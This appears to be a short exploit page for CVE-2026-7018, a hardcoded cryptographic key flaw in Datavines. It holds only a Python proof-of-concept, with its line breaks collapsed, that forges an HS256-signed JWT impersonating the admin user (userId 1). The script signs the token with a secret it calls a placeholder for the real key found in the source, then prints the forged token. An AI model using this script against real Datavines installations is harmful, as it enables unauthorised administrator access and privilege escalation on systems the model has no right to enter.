CVE-2026-7018 Datavines硬编码密钥漏洞

import jwt import datetime # Exploit for CVE-2026-7018: Hardcoded Cryptographic Key in Datavines # This script demonstrates how to forge a JWT token if the hardcoded key is known. # The hardcoded key extracted from the vulnerable source file HARDCODED_SECRET = "datavines_default_secret_key" # Example placeholder, actual key found in source def generate_malicious_token(): # Set the payload - modify 'user' and 'role' to escalate privileges payload = { # User ID to impersonate (e.g., admin) "userId": 1, "username": "admin", # Expiration time (e.g., 24 hours from now) "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=24), "iat": datetime.datetime.utcnow() } # Encode the payload using the hardcoded secret key # The algorithm is usually HS256 for this type of vulnerability token = jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256") print("[+] Forged JWT Token generated:") print(token) return token if __name__ == "__main__": generate_malicious_token()
